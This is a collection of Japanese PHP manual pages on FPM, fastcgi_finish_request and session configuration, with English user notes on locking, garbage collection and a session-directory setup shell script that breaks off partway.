FPM (FastCGI Process Manager) は PHP の FastCGI 実装のひとつで、 主に高負荷のサイトで有用な追加機能を用意しています。

この SAPI は、PHP 5.3.3 以降にバンドルされています。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

FPM のインストールおよび設定についての情報は、PHP マニュアルの インストールと設定 で見つかります。

User Contributed Notes

There are no user contributed notes for this page.


FPM 関数

目次

  • fastcgi_finish_request — すべてのレスポンスデータをクライアントにフラッシュする

User Contributed Notes

There are no user contributed notes for this page.


すべてのレスポンスデータをクライアントにフラッシュする

  • ≪ FPM 関数
  • セッション関連 ≫
  • PHP Manual
  • FPM 関数
  • すべてのレスポンスデータをクライアントにフラッシュする

fastcgi_finish_request

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

fastcgi_finish_request — すべてのレスポンスデータをクライアントにフラッシュする

説明

fastcgi_finish_request ( ) : bool

この関数は、すべてのレスポンスデータをクライアントにフラッシュし、 リクエストを終わらせます。 これにより、クライアントへの接続を開いたままにすることなく、 時間のかかる処理を実行することができます。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

tuxrampage 04-Aug-2016 09:29
There are some pitfalls  you should be aware of when using this function.

The script will still occupy a FPM process after fastcgi_finish_request(). So using it excessively for long running tasks may occupy all your FPM threads up to pm.max_children. This will lead to gateway errors on the webserver.

Another important thing is session handling. Sessions are locked as long as they're active (see the documentation for session_write_close()). This means subsequent requests will block until the session is closed.

You should therefore call session_write_close() as soon as possible (even before fastcgi_finish_request()) to allow subsequent requests and a good user experience.

This also applies for all other locking techniques as flock or database locks for example. As long as a lock is active subsequent requests might bock.


セッション関連

  • Sessions — セッション処理
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • セッションのアップロード状況
    • セッション と セキュリティ
    • セッション関数
    • SessionHandler — SessionHandler クラス
    • SessionHandlerInterface — SessionHandlerInterface クラス
    • SessionIdInterface — SessionIdInterface クラス
    • SessionUpdateTimestampHandlerInterface — SessionUpdateTimestampHandlerInterface クラス

User Contributed Notes

There are no user contributed notes for this page.


セッション処理

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な使用法
    • セッションIDの受渡し
    • カスタムセッションハンドラ
  • セッションのアップロード状況
  • セッション と セキュリティ
    • セッション管理の基礎
    • セッションに関連する INI 設定をセキュアにする
  • セッション関数
    • session_abort — session 配列の変更を破棄してセッションを終了します
    • session_cache_expire — 現在のキャッシュの有効期限を取得/設定する
    • session_cache_limiter — 現在のキャッシュリミッタを取得または設定する
    • session_commit — session_write_close のエイリアス
    • session_create_id — 新しいセッションIDを作成する
    • session_decode — セッションエンコードされた文字列からセッションデータをデコードする
    • session_destroy — セッションに登録されたデータを全て破棄する
    • session_encode — 現在のセッションデータを、セッションエンコードされた文字列に変換する
    • session_gc — セッションデータのガベージコレクションを実行する
    • session_get_cookie_params — セッションクッキーのパラメータを得る
    • session_id — 現在のセッション ID を取得または設定する
    • session_is_registered — 変数がセッションに登録されているかどうかを調べる
    • session_module_name — 現在のセッションモジュールを取得または設定する
    • session_name — 現在のセッション名を取得または設定する
    • session_regenerate_id — 現在のセッションIDを新しく生成したものと置き換える
    • session_register_shutdown — セッションのシャットダウン関数
    • session_reset — session 配列を元の値で再初期化します
    • session_save_path — 現在のセッションデータ保存パスを取得または設定する
    • session_set_cookie_params — セッションクッキーパラメータを設定する
    • session_set_save_handler — ユーザー定義のセッション保存関数を設定する
    • session_start — 新しいセッションを開始、あるいは既存のセッションを再開する
    • session_status — 現在のセッションの状態を返す
    • session_unregister — 現在のセッションから変数の登録を削除する
    • session_unset — 全てのセッション変数を開放する
    • session_write_close — セッションデータを書き込んでセッションを終了する
  • SessionHandler — SessionHandler クラス
    • SessionHandler::close — セッションを閉じる
    • SessionHandler::create_sid — 新規セッション ID を返す
    • SessionHandler::destroy — セッションを破棄する
    • SessionHandler::gc — 古いセッションを削除する
    • SessionHandler::open — セッションを開始する
    • SessionHandler::read — セッションのデータを読み込む
    • SessionHandler::write — セッションのデータを書き込む
  • SessionHandlerInterface — SessionHandlerInterface クラス
    • SessionHandlerInterface::close — セッションを閉じる
    • SessionHandlerInterface::destroy — セッションを破棄する
    • SessionHandlerInterface::gc — 古いセッションを削除する
    • SessionHandlerInterface::open — セッションを開始する
    • SessionHandlerInterface::read — セッションのデータを読み込む
    • SessionHandlerInterface::write — セッションのデータを書き込む
  • SessionIdInterface — SessionIdInterface クラス
    • SessionIdInterface::create_sid — セッションIDを作成する
  • SessionUpdateTimestampHandlerInterface — SessionUpdateTimestampHandlerInterface クラス
    • SessionUpdateTimestampHandlerInterface::updateTimestamp — タイムスタンプを更新する
    • SessionUpdateTimestampHandlerInterface::validateId — セッションIDを検証する

User Contributed Notes

bouvrette dot nicolas at gmail dot com 23-Nov-2014 09:43
Be careful if you are updating to PHP 5.6 since the the Sessions's Write behavior changed.  It now only writes the session if you changed the data. So this means that if you rely on your session to update an activity time stamp on the server (to control session expiry) you will end up having issues. Here is a quick fix if you are implementing SessionHandlerInterface:

    public function close() {
        $this->write($this->id, serialize($_SESSION));
        return true;
    }

Make sure you also use this:

        ini_set('session.serialize_handler', 'php_serialize'); // Force standard PHP functions handler for flexibility

More details here:

Request #17860 (Session write short circuit)
https://bugs.php.net/bug.php?id=17860
e dot mortoray at ecircle dot com 17-Apr-2009 05:02
There is a nuance we found with session timing out although the user is still active in the session.  The problem has to do with never modifying the session variable.

The GC will clear the session data files based on their last modification time.  Thus if you never modify the session, you simply read from it, then the GC will eventually clean up.

To prevent this you need to ensure that your session is modified within the GC delete time.  You can accomplish this like below.

<?php
if( !isset($_SESSION['last_access']) || (time() - $_SESSION['last_access']) > 60 )
  $_SESSION['last_access'] = time();
?>

This will update the session every 60s to ensure that the modification date is altered.


はじめに

PHPのセッションサポート機能は、複数回のアクセスを通じて特定のデータを保持する手段を実現するものです。

Web サイトの訪問者にはセッションIDというセッションIDと呼ばれるユニークなIDが割りつけられ ます。このIDは、ユーザー側にクッキーとして保存するか、または、URL に埋め込みます。

セッションサポート機能により、スーパーグローバル配列 $_SESSION を使ってリクエスト間でデータを格納できるようになります。 来訪者がサイトにアクセスした際、 PHP は特定のセッションIDがリクエストとともに送信されているかどうかを ( session.auto_startが1の場合は)自動的に、または (session_start() により明示的な) 要求を受けて確認します。 このIDが送信されている場合には、以前保存された変数が再現されます。

警告

session.auto_start をオンにした場合にオブジェクトをセッションに代入する唯一の方法は、 クラスの定義を auto_prepend_file でロードしておき、オブジェクトを serialize() したうえで後で unserialize() することです。

$_SESSION (およびそこに登録されたすべての変数) は、リクエストが終了したときに PHP が内部的にシリアライズします。 シリアライズの方式として、ini 設定 session.serialize_handler で指定したハンドラを使います。 未定義の登録変数は、未定義としてマーク付けされます。 これらの変数は、後でユーザーが定義しない限り、以降のアクセスにおいて セッションモジュールにより定義されません。

警告

セッションデータはシリアライズされるので、 resource 型の変数はセッションに格納できません。

シリアライズハンドラ (php および php_binary) は、register_globals の制約を引き継いでいます。 そのため、数値のインデックスや特殊文字 (| や !) を含む文字列のインデックスは使えません。 これらを使っていると、スクリプトのシャットダウン時にエラーが発生します。 php_serialize には、そのような制約はありません。

注意:

セッションを処理している時、 session_register()関数を使用するか スーパーグローバル配列$_SESSIONへ新しいキーを 追加することにより変数が登録されるまで、セッションのレコードは作 成されないことに注意してください。これは、セッションが session_start()関数により開始されている場合で も真です。

User Contributed Notes

There are no user contributed notes for this page.


要件

外部ライブラリを必要としません。

注意:

オプションで、Ralf S. Engelschallにより開発されたセッションの保 存用の共有メモリ(mm)を使用することも可能です。 » mmをダウンロードし、インストールす ることができます。このオプションは、Windowsプラットフォームでは 利用できません。mm用セッション保存モジュールは同一セッションのロッ クに問題があるため、同時アクセスを保証することはできません。 ファイルにセッションを保存するためには、 (Solaris/Linux の tmpfs または BSD の /dev/md のように) 共有メモリベースのファイルシステムを使用するほうがよいでしょう。 セッションのデータはメモリに保存されます。そのため、Web サーバーを 再起動するとデータが削除されます。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHPのセッションサポートはデフォルトで有効となっています セッションサポートを有効にしてPHPを構築したくない場合には、 configureにオプション--disable-sessionを指定する必要があります。 セッション記憶領域として共有メモリ(mm)を使用するには、PHPのconfigure に--with-mm[=DIR]を指定します。

Windows 版の PHP には この拡張モジュールのサポートが組み込まれています。これらの関数を使用 するために拡張モジュールを追加でロードする必要はありません。

注意:

デフォルトでは、特定のセッションのすべての情報は session.save_path INIオプションで指定されたディレクトリに生成される ファイルに保存されます。 結びついている情報に関わらずセッション毎にひとつのファイルが生成されます。 セッションが開始され（ファイルが生成される）しかし何の情報も そのファイルに書き込まれない場合もあります（サイズがゼロのファイルが残る）。 この振る舞いはファイルシステムを使っていることによる副作用であり、 カスタムセッションハンドラ（例：データベースを使ったもの）を 使う場合には何の情報も持たないセッションについて追跡しないように することは可能です。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

セッションの設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
session.save_path | "" | PHP_INI_ALL |
session.name | "PHPSESSID" | PHP_INI_ALL |
session.save_handler | "files" | PHP_INI_ALL |
session.auto_start | "0" | PHP_INI_PERDIR |
session.gc_probability | "1" | PHP_INI_ALL |
session.gc_divisor | "100" | PHP_INI_ALL |
session.gc_maxlifetime | "1440" | PHP_INI_ALL |
session.serialize_handler | "php" | PHP_INI_ALL |
session.cookie_lifetime | "0" | PHP_INI_ALL |
session.cookie_path | "/" | PHP_INI_ALL |
session.cookie_domain | "" | PHP_INI_ALL |
session.cookie_secure | "" | PHP_INI_ALL |
session.cookie_httponly | "" | PHP_INI_ALL |
session.cookie_samesite | "" | PHP_INI_ALL | PHP 7.3.0 から利用可能
session.use_strict_mode | "0" | PHP_INI_ALL |
session.use_cookies | "1" | PHP_INI_ALL |
session.use_only_cookies | "1" | PHP_INI_ALL |
session.referer_check | "" | PHP_INI_ALL |
session.cache_limiter | "nocache" | PHP_INI_ALL |
session.cache_expire | "180" | PHP_INI_ALL |
session.use_trans_sid | "0" | PHP_INI_ALL |
session.trans_sid_tags | "a=href,area=href,frame=src,form=" | PHP_INI_ALL | PHP 7.1.0 から利用可能
session.trans_sid_hosts | $_SERVER['HTTP_HOST'] | PHP_INI_ALL | PHP 7.1.0 から利用可能
session.sid_length | "32" | PHP_INI_ALL | PHP 7.1.0 から利用可能
session.sid_bits_per_character | "4" | PHP_INI_ALL | PHP 7.1.0 から利用可能
session.upload_progress.enabled | "1" | PHP_INI_PERDIR |
session.upload_progress.cleanup | "1" | PHP_INI_PERDIR |
session.upload_progress.prefix | "upload_progress_" | PHP_INI_PERDIR |
session.upload_progress.name | "PHP_SESSION_UPLOAD_PROGRESS" | PHP_INI_PERDIR |
session.upload_progress.freq | "1%" | PHP_INI_PERDIR |
session.upload_progress.min_freq | "1" | PHP_INI_PERDIR |
session.lazy_write | "1" | PHP_INI_ALL |
session.hash_function | "0" | PHP_INI_ALL | PHP 7.1.0 で削除されました。
session.hash_bits_per_character | "4" | PHP_INI_ALL | PHP 7.1.0 で削除されました。
session.entropy_file | "" | PHP_INI_ALL | PHP 7.1.0 で削除されました。
session.entropy_length | "0" | PHP_INI_ALL | PHP 7.1.0 で削除されました。
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

セッション管理システムは、php.iniファイルに記述可能な多くの設定オ プションをサポートします。以下に概要を示します。

session.save_handler string
session.save_handler は、 セッションに関連するデータの保存および取得時に使用するハンドラを定義します。 デフォルトは、files です。各拡張モジュールで、 独自の save_handler を使用できることに注意しましょう。 インストール環境単位で登録されているハンドラを取得するには phpinfo() を使用します。 session_set_save_handler() も参照してください。
session.save_path string
session.save_path は、保存ハンドラに渡される 引数を定義します。デフォルトのファイルハンドラを選択した場合、 ファイルが作成される場所のパスになります。 session_save_path() も参照ください。

オプションの引数として N（数値）を指定できます。 これはセッションファイルを分散して保存する際に ディレクトリ階層レベルを決定します。 例えば、'5;/tmp'とすると /tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If という位置にセッションファイルを生成します。 N を使用するには、これらすべてのディレクトリが 事前に作成されている必要があります。 そのためのシェルスクリプトがext/sessionに mod_files.shというファイル名であります。 Windows 版の mod_files.bat もあります。 また、0以上の N が指定されている場合には自動ガーベッジコレクション が機能しないことに注意してください。詳細は php.ini を見てください。 また、N を指定する場合は、 session.save_pathを"quotes"で囲う必要があります。 なぜならセパレータ(;) は php.ini ではコメントとしても利用されているからです。

ファイルストレージモジュールが作るファイルのモードは、デフォルトで 600 になります。 このデフォルトを変更するには、オプションの引数 MODE を利用します。 N;MODE;/path のように使い、MODE の部分に八進形式のモードを指定します。MODE を設定しても、そのプロセスの umask は変わりません。

警告

この設定を /tmp (デフォルト) のようにどこか らでも読み込み可能なディレクトリに設定した場合、サーバー上 の他のユーザーがこのディレクトリのファイルのリストを取得すること により、セッションをハイジャックをすることが可能となります。

警告

オプションのディレクトリレベル定数 N で、 1 あるいは 2 以外の値を使うのは、大半のサイトでは不適切です。 大量のディレクトリが必要になってしまうからです。たとえば、この値を 3 にすると、 ファイルシステム上のディレクトリの数が (2 ** session.sid_bits_per_character) ** 3 にもなり、 ディスク容量や inode の無駄遣いになってしまいます。

N を 2 より大きくするのは、 それを必要とするような大規模サイトに限るようにしましょう。

session.name string
session.name はセッション名を指定し、 クッキー名として使用されます。 アルファベット文字のみで指定する必要があります。 デフォルトは、PHPSESSID です。 session_name()も参照してください。
session.auto_start bool
session.auto_start はリクエスト開始時に セッションモジュールがセッションを自動的に開始するかどうかを 指定します。デフォルトは、0(無効)です。
session.serialize_handler string
session.serialize_handler は、シリアル化または シリアル化データを復元するために使用されるハンドラの名前を定義します。 PHP シリアライズフォーマット (php_serialize)、 PHP 内部フォーマット (php あるいは php_binary)、 そして WDDX (wddx) に対応しています。WDDX は、PHP がWDDX サポート を有効にしてコンパイルされている場合のみ使用可能です。 php_serialize は PHP 5.5.4 以降で使用可能です。 php_serialize はプレーンな serialize/unserialize 関数を内部的に使っており、php や php_binary のような制約はありません。これらのシリアライズハンドラでは、$_SESSION の中で数値のインデックスや特殊文字 (| や !) を含む文字列のインデックスを使えませんでした。 php_serialize を使えば、 スクリプトの終了時に数値インデックスや特殊文字インデックスのエラーが出ないようにできます。 デフォルトは php です。
session.gc_probability int
session.gc_probabilityと session.gc_divisorの組み合わせでgc （ガーベッジコレクション）ルーチンの始動を制御します。 デフォルトは、1 です。 詳細はsession.gc_divisor をご覧ください
session.gc_divisor int
session.gc_divisorと session.gc_probabilityの組み合わせで すべてのセッションの初期化過程でgc（ガーベッジコネクション）プロセス も始動する確率を制御します。確率は gc_probability/gc_divisor で計算されます。例えば、1/100は各リクエスト毎に1%の確率でGCプロセスが 始動します。 session.gc_divisorのデフォルトは100です。
session.gc_maxlifetime int
session.gc_maxlifetime は、データが 'ごみ' とみなされ、消去されるまでの秒数を指定します。 ガベージコレクション (ごみの収集) は、 セッションの開始時に行われます (session.gc_probability と session.gc_divisor に依存します)。

注意: 異なる値を session.gc_maxlifetime に指定している 別々のスクリプトがセッションデータの保存場所を共有している場合、 一番小さい設定値に達した時点でデータが消去されます。このような場合には、 お互いに session.save_path を使用します。

session.referer_check string
session.referer_check には、HTTP Referer に おいて確認を行う文字列を指定します。Refererがクライアントにより 送信されており、かつ、指定した文字列が見付からない場合、埋め込 まれたセッションIDは無効となります。デフォルトは空の文字列です。
session.entropy_file string
session.entropy_file は、 セッションIDを作成する際の別のエントロピーソースとして使用する 外部リソースへのパスを指定します。 例としては、多くの UNIX で利用可能な /dev/random または /dev/urandom があげられます。 この機能は、Windows では PHP 5.3.3 以降で対応します。 session.entropy_length にゼロ以外の値を設定すると、 PHP は Windows Random API をエントロピーソースとして使います。

注意: PHP 7.1.0 で削除されました。 PHP 5.4.0 以降では、 /dev/urandom あるいは /dev/arandom が使えるときはそれを session.entropy_file のデフォルトとするようになりました。 それまでのバージョンでは、このディレクティブのデフォルトは空でした。

session.entropy_length int
session.entropy_length は、前記のファイルから 読みこむバイト数を指定します。デフォルトは、32 です。 PHP 7.1.0 で削除されました。
session.use_strict_mode bool
session.use_strict_mode は、 厳格なセッション ID モードを利用するかどうかを指定します。 有効にすると、初期化していないセッション ID を受け付けなくなります。 初期化していないセッション ID がブラウザから送信された場合は、 新しいセッション ID をブラウザに送り返します。 このモードを利用すると、セッションアダプションを利用したセッション固定攻撃からアプリケーションを保護できます。 デフォルトは 0 (無効) です。

注意: 一般的なセッションのセキュリティを踏まえると、 session.use_strict_mode を有効にしておく必要があります。 すべてのサイトでこれを有効にすることを推奨します。 詳細は session_create_id() のサンプルコードを参照ください。

警告

カスタムのセッションハンドラが session_set_save_handler() 経由で登録され、 それが SessionUpdateTimestampHandlerInterface::validateId() を実装せず、 validate_sid コールバックを提供しない場合、 このディレクティブの値に関わらず、厳格なセッションIDモードは無効になります。 SessionHandler クラスは SessionHandler::validateId() を実装して いない ことに特に注意して下さい。

session.use_cookies bool
session.use_cookiesによりクライアント側にセッ ションIDを保存する際にクッキーを使用するかどうかを指定します。デ フォルトは1 (有効)です。
session.use_only_cookies bool
session.use_only_cookies は、 このモジュールがクライアント側へのセッション ID の保存に Cookie のみ を使用することを指定します。 この設定を有効にすることにより、セッション ID を URL に埋め込む攻撃を防ぐことができます。 PHP 5.3.0 以降で、デフォルトは 1 (有効) となります。
session.cookie_lifetime int
session.cookie_lifetime は、 ブラウザに送信するクッキーの有効期間を秒単位で指定します。 0 を指定すると "ブラウザを閉じるまで" という意味になります。 デフォルトは、0 です。 session_get_cookie_params() および session_set_cookie_params() も参照してください。

注意: 有効期限のタイムスタンプは、サーバーの時刻に基づいて決まります。 クライアントのブラウザの時刻がこれと同じであるとは限りません。

session.cookie_path string
session.cookie_path によりセッションクッキーで設定するパスを指定します。 デフォルトは/です。 session_get_cookie_params()および session_set_cookie_params()も参照してください。
session.cookie_domain string
session.cookie_domain によりセッションクッキーで指定するドメインを指定します。 デフォルトでは指定されません。 この場合は、クッキーの仕様によって、クッキーを作成したサーバーの ホスト名が指定されます。 session_get_cookie_params() および session_set_cookie_params() も参照ください。
session.cookie_secure bool
session.cookie_secureは、 セキュアな接続を通じてのみCookieを送信できるかどうかを指定します。 デフォルトは、offです。 session_get_cookie_params()および session_set_cookie_params()も参照してください。
session.cookie_httponly bool
クッキーに対して、HTTP を通してのみアクセスできるようにします。 つまり、JavaScript のようなスクリプト言語からはアクセスできなくなるということです。 この設定を使用すると、XSS 攻撃によって ID を盗まれる危険性を減らせます (が、すべてのブラウザがこの設定をサポートしているというわけではありません)。
session.cookie_samesite string
クロスサイトリクエストで、サーバーにクッキーを送信しないよう指示できるようにします。 これを用いると、ユーザーエージェントによる生成元とは異なる場所への情報漏洩のリスクを軽減できます。 また、CSRF攻撃に対する防御策のひとつにもなります。 この仕組みはすべてのブラウザがサポートしているわけではないことに注意しましょう。 この項目に空の値を設定した場合は、クッキーのSameSite属性は送信されません。 Lax や Strict を設定した場合は、 サイトをまたがる POST リクエストではクッキーを送信しません。GET リクエストの場合は、 Lax はサイトをまたがるリクエストでもクッキーを送信しますが、 Strict は送信しません。
session.cache_limiter string
session.cache_limiter により、セッションページにおけるキャッシュ制御の方法を指定します。 nocache、private、 private_no_expire あるいは public のいずれかとなります。デフォルトは nocache です。 これらの値の意味については session_cache_limiter() のドキュメントも参照ください。
session.cache_expire int
session.cache_expireによりキャッシュされた セッションページの有効期間を分単位で指定します。 このオプションは、nocacheリミッタに関しては効果がありません。 デフォルトは、180です。 session_cache_expire()も参照してください。
session.use_trans_sid bool
session.use_trans_sidは、透過的なセッション IDの付加をするかどうかを指定します。 デフォルトは、0(無効)です。

注意: URLに基づくセッション管理は、Cookieに基づくセッション管理と比べ てセキュリティリスクが大きくなります。例えば、ユーザーは、emailに より友人にアクティブなセッションIDを含むURLを送信する可能性があ り、また、ユーザーは自分のブックマークにセッションIDを含むURLを保 存し、常に同じセッションIDで使用するサイトにアクセスする可能性 があります。 PHP 7.1.0 以降では、https://php.net/ のような完全な URL パスが、透過的セッションID機能で扱われるようになります。 これより前のバージョンでは、相対 URL パスだけが対象でした。 リライト対象のホストは session.trans_sid_hosts で定義します。

session.trans_sid_tags string
session.trans_sid_tags は、透過的セッションIDのサポートが有効な場合にどの HTML タグをリライトするかを指定します。 デフォルトは a=href,area=href,frame=src,input=src,form= です。 form は特別なタグで、<input hidden="session_id" name="session_name"> がフォーム変数に追加されます。

注意: PHP 7.1.0 より前のバージョンでは、この目的で使われていた設定項目は url_rewriter.tags でした。 PHP 7.1.0 以降は、fieldset が特別なタグとはみなされなくなります。

session.trans_sid_hosts string
session.trans_sid_hosts は、 は、透過的セッションIDのサポートが有効な場合にどのホストをセッションIDつきにリライトするかを指定します。 デフォルトは $_SERVER['HTTP_HOST'] です。 複数のホストを指定する場合は "," で区切ってつなぎます。 ホストとホストの間にスペースを入れることはできません。つまり、たとえば php.net,wiki.php.net,bugs.php.net のように指定します。
session.sid_length int
session.sid_length は、セッション ID 文字列の長さを指定します。 22 から 256 までの値が使えます。 デフォルトは 32 です。互換性を考慮するなら 32 や 40 などを使ってもかまいません。 セッション ID は長ければ長いほど推測されにくくなります。少なくとも 32 を指定することを推奨します。
ヒント

互換性に関するメモ: session.hash_function=0 (MD5) で session.hash_bits_per_character=4 の場合、あるいは session.hash_function=1 (SHA1) で session.hash_bits_per_character=6 の場合は 32 を使います。 session.hash_function=0 (MD5) で session.hash_bits_per_character=5 の場合は、26 を使います。 session.hash_function=0 (MD5) で session.hash_bits_per_character=6 の場合は、22 を使います。 INI 設定で、セッション ID を少なくとも 128 ビットにしておく必要があります。 session.sid_bits_per_character に適切な値を指定することを忘れないようにしましょう。 そうしないと、脆弱なセッション ID を使うことになってしまいます。

注意: この設定は PHP 7.1.0 で導入されました。

session.sid_bits_per_character int
session.sid_per_character エンコードされたセッション ID 文字のビット数を指定します。指定できる値は '4' (0-9, a-f)、'5' (0-9, a-v)、'6' (0-9, a-z, A-Z, "-", ",") です。 デフォルトは 4 です。大きいほどセッション ID が強力になります。 大半のシステムでは、5 を推奨します。

注意: この設定は PHP 7.1.0 で導入されました。

session.hash_function mixed
session.hash_function によりセッション ID を生成するために使用されるハッシュアルゴリズムを指定することが可能です。 '0' は MD5 (128 ビット) で、'1' は SHA-1 (160 ビット) を意味します。

PHP 5.3.0 以降では、hash 拡張モジュール の任意のアルゴリズムが (この拡張モジュールが使用可能な場合に) 指定できるようになります。たとえば sha512 や whirlpool などです。 サポートされているアルゴリズムの一覧は、 hash_algos() 関数で取得できます。

注意:

この設定は、PHP 7.1.0 で削除されました。

session.hash_bits_per_character int
session.hash_bits_per_character により バイナリのハッシュデータを何らかの可読なデータに変換する際、 それぞれの文字に何ビットストアさせるかを定義することが可能です。 指定可能な値は、'4' (0-9, a-f)、'5' (0-9, a-v) そして '6' (0-9, a-z, A-Z, "-", ",") です。

注意:

この設定は、PHP 7.1.0 で削除されました。

session.upload_progress.enabled bool
アップロードの進捗を追跡して $_SESSION 変数に格納するかどうか。 デフォルトは 1 で、この機能は有効になっています。
session.upload_progress.cleanup bool
すべての POST データを読み終えた (つまり、アップロードが完了した) 時点ですぐに進捗状況を消去するかどうか。 デフォルトは 1 で、この機能は有効になっています。

注意: この機能を有効にしておくことを強くおすすめします。

session.upload_progress.prefix string
アップロードの進捗を $_SESSION で管理するときに使うキーのプレフィックス。 このキーを $_POST[ini_get("session.upload_progress.name")] の値と連結して、一意なインデックスを作ります。 デフォルトは "upload_progress_" です。
session.upload_progress.name string
進捗情報を $_SESSION に格納するときに使うキーの名前。 session.upload_progress.prefix も参照ください。 $_POST[ini_get("session.upload_progress.name")] が渡されていない場合や存在しない場合は、アップロードの進捗を記録しません。 デフォルトは "PHP_SESSION_UPLOAD_PROGRESS" です。
session.upload_progress.freq mixed
アップロードの進捗を更新する頻度を定義します。 バイト数 (100 バイトごとに進捗を更新するなど) あるいはパーセンテージ (ファイル全体のサイズの 1% ごとに進捗を更新するなど) で指定できます。 デフォルトは "1%" です。
session.upload_progress.min_freq int
更新間隔の最小値。単位は秒。 デフォルトは "1" (1 秒) です。
session.lazy_write bool
session.lazy_write を 1 に設定すると、 セッションのデータが変更されたときにだけ再書き込みを行います。 デフォルトは 1 で、この機能は有効になっています。

アップロードの進捗は、 session.upload_progress.enabled を有効にして $_POST[ini_get("session.upload_progress.name")] を設定するまでは登録されません。 この機能の詳細は セッションのアップロードの進捗 を参照ください。

User Contributed Notes

boan dot web at outlook dot com 10-Feb-2019 12:43
session.cache_limiter may be empty string to disable cache headers entirely.

Quote:
> Setting the cache limiter to '' will turn off automatic sending of cache headers entirely.

http://php.net/manual/en/function.session-cache-limiter.php
li-lingjie 19-Dec-2017 09:20
Use SessionHandlerInterface interface Custom redis session, found the following:

Use ini_set ('session.save_path', "tcp: //127.0.0.1: 6379? Auth = password"); will be reported:

PHP Fatal error: session_start (): Failed to initialize storage module: user (path: tcp: //127.0.0.1: 6379? Auth = password);

Using session_save_path ("tcp: //127.0.0.1: 6379? Auth = password") will not
white-gandalf at web dot de 18-Dec-2017 05:50
session.use_strict_mode does very little to strengthen your security: only one very specific variant of attack is migitated by this (where the attacker hands an "empty" sid to the victim to adapt his own browser to that session later) - versus for example the case where he pre-opens a session, handing the sid of that one to the victim, so the victim gets adapted to the pre-opened session. In the latter case this flag does nothing to help. In every other scenario with other vulnerabilities where the session id gets leaked, the flag helps nigher.

But this flag renders the php function session_id() useless in its parameterized variant, thus preventing any php functionality that builds upon this function.
ohcc at 163 dot com 25-Nov-2017 04:06
You should take more care configuring session.gc_maxlifetime when virtual hosts share the same session-saving directory. One host's session data may be gc'ed when another host runs php.
Anonymous 14-Oct-2016 02:23
In response to this comment: http://php.net/manual/en/session.configuration.php#107990 where it is claimed that gc_maxlifetime values larger than 65535 break the session system. I cannot reproduce this.

I've set gc_maxlifetime to 31536000 (1 year) and the session system works just fine. I haven't tried how long a session lasts now (I'm in the process of testing this), but it certainly doesn't break PHP sessions.
info at thimbleopensource dot com 19-Jul-2015 07:39
I found out that if you need to set custom session settings, you only need to do it once when session starts. Then session maintains its settings, even if you use ini_set and change them, original session still will use it's original setting until it expires.

Just thought it might be useful to someone.
GreenReaper 14-Oct-2014 12:56
We found a session.save_path depth of 3 led to excessive wastage of inodes and in fact disk space in storing the directory tree. dir_indexes option on ext2/3/4 makes larger directories more feasible anyway, so we decided to move to a depth of 2 instead.

It took a little puzzling to figure out how to move the existing PHP sessions up one directory tree, but we ended up running this in the root sessions directory:

#!/bin/sh
for a in ./* ; do
    cd ./$a
    pwd
    for b in ./* ; do
      cd ./$b
      pwd
      # Move existing sessions out
      find ./* -xdev -type f -print0 | xargs -0 mv -t .
      # Remove subdirectories
      find ./* -xdev -type d -print0 | xargs -0 rmdir
      cd ..
  done
  cd ..
done

This script may not be the best way to do it, but it got the job done fast. You can modify it for different depths by adding or removing "for" loops.

The documentation gives a depth of 5 as an example, but five is right out. If you're going beyond 2, you're at the scale where you may want to to look at a large memcached or redis instance instead.
Christopher Kramer 02-Oct-2014 01:22
On debian (based) systems, changing session.gc_maxlifetime at runtime has no real effect. Debian disables PHP's own garbage collector by setting session.gc_probability=0. Instead it has a cronjob running every 30 minutes (see /etc/cron.d/php5) that cleans up old sessions. This cronjob basically looks into your php.ini and uses the value of session.gc_maxlifetime there to decide which sessions to clean (see /usr/lib/php5/maxlifetime).

You can adjust the global value in your php.ini (usually /etc/php5/apache2/php.ini). Or you can change the session.save_path so debian's cronjob will not clean up your sessions anymore. Then you need to either do your own garbage collection with your own cronjob or enable PHP's garbage collection (php then needs sufficient privileges on the save_path).

Why does Debian not use PHP's garbarage collection?
For security reasons, they store session data in a place (/var/lib/php5) with very stringent permissions. With the sticky bit set, only root is allowed to rename or delete files there, so PHP itself cannot clean up old session data. See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=267720 .
jlevene at etisoftware dot com 21-Feb-2013 01:29
Being unable to find an actual copy of mod_files.sh, and seeing lots of complaints/bug fix requests for it, here's one that works.  It gets all its parameters from PHP.INI, so you don't have the opportunity to mess up:

#!/bin/bash
#
# Creates directories for PHP session storage.
# Replaces the one that "comes with" PHP, which (a) doesn't always come with it
# and (b) doesn't work so great.
#
# This version takes no parameters, and uses the values in PHP.INI (if it
# can find it).
#
# Works in OS-X and CentOS (and probably all other) Linux.
#
# Feb '13 by Jeff Levene.

[[ $# -gt 0 ]] && echo "$0 requires NO command-line parameters.
It gets does whatever is called for in the PHP.INI file (if it can find it).
" && exit 1

# Find the PHP.INI file, if possible:
phpIni=/usr/local/lib/php.ini                        # Default PHP.INI location
[[ ! -f "$phpIni" ]] && phpIni=/etc/php.ini            # Secondary location
[[ ! -f "$phpIni" ]] && phpIni=                        # Found it?

# Outputs the given (as $1) parameter from the PHP.INI file:
# The "empty" brackets have a SPACE and a TAB in them.
#
PhpConfigParam() {
    [[ ! "$phpIni" ]] && return
    # Get the line from the INI file:
    varLine=`grep "^[     ]*$1[     ]*=" "$phpIni"`

    # Extract the value:
    value=`expr "$varLine" : ".*$1[     ]*=[     ]*['\"]*\([^'\"]*\)"`
    echo "$value"
    }

if [[ "$phpIni" ]]
then
    savePath=`PhpConfigParam session.save_path`
    # If there's a number and semicolon at the front, remove them:
    dirDepth=`expr "$savePath" : '\([0-9]*\)'`
    [[ "$dirDepth" ]] && savePath=`expr "$savePath" : '[0-9]*;\(.*\)'` || dirDepth=0
    bits=`PhpConfigParam session.hash_bits_per_character`
    case "x$bits" in
        x)    echo "hash_bits_per_character not defined.  Not running." ; exit 2 ;;
